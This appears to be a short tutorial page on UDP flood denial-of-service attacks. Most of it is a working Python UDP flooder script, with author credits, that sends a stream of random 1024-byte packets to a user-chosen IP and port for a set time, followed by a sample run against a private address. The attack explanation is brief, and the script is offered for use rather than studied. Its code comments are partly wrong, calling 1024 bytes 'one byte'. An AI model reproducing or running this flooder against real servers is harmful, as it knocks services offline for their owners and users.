UPD Attack in Python

A UDP flood attack is a denial-of-service (DoS) attack using the User Datagram Protocol (UDP), a sessionless/connectionless computer networking protocol.
Using UDP for denial-of-service attacks is not as straightforward as with the Transmission Control Protocol (TCP). However, a UDP flood attack can be initiated by sending a large number of UDP packets to random ports on a remote host. As a result, the distant host will:

• Check for the application listening at that port;
• See that no application listens at that port;
• Reply with an ICMP Destination Unreachable packet.
  
  
  

Thus, for a large number of UDP packets, the victimized system will be forced into sending many ICMP packets, eventually leading it to be unreachable by other clients. The attacker(s) may also spoof the IP address of the UDP packets, ensuring that the excessive ICMP return packets do not reach them, and anonymizing their network location(s).

Most operating systems mitigate this part of the attack by limiting the rate at which ICMP responses are sent.


Code
#This is my UDP Flooder.
#Coded in Python.
#This is a 'Dos' attack program to attack servers, you set the IP and the port and the amount of seconds and it will start flooding to that server ^_^
import time
import socket
import random

credits = (
    'UDP Flood'
    'c0d3r:  Thedabosk189- [NetArrivals] Team'
    )
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
bytes = random._urandom(1024) # 1024 representes one byte to the server

def pres(): #def would be the same as void in C but in python we say def
    global credits
    print credits
pres()
victim  = raw_input('Target > (Enter ip)')
vport = input('Port >')
duration  = input('Time > (Seconds)')
timeout =  time.time() + duration
sent = 0

while 1:
    if time.time() > timeout:
        break
    else:
        pass
    client.sendto(bytes, (victim, vport))
    sent = sent + 1
    print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport)
 '''
 Output:
 UDP Floodc0d3r:  Thedabosk189- [NetArrivals] Team
Target > (Enter ip)172.16.106.13
Port >443
Time > (Seconds)2
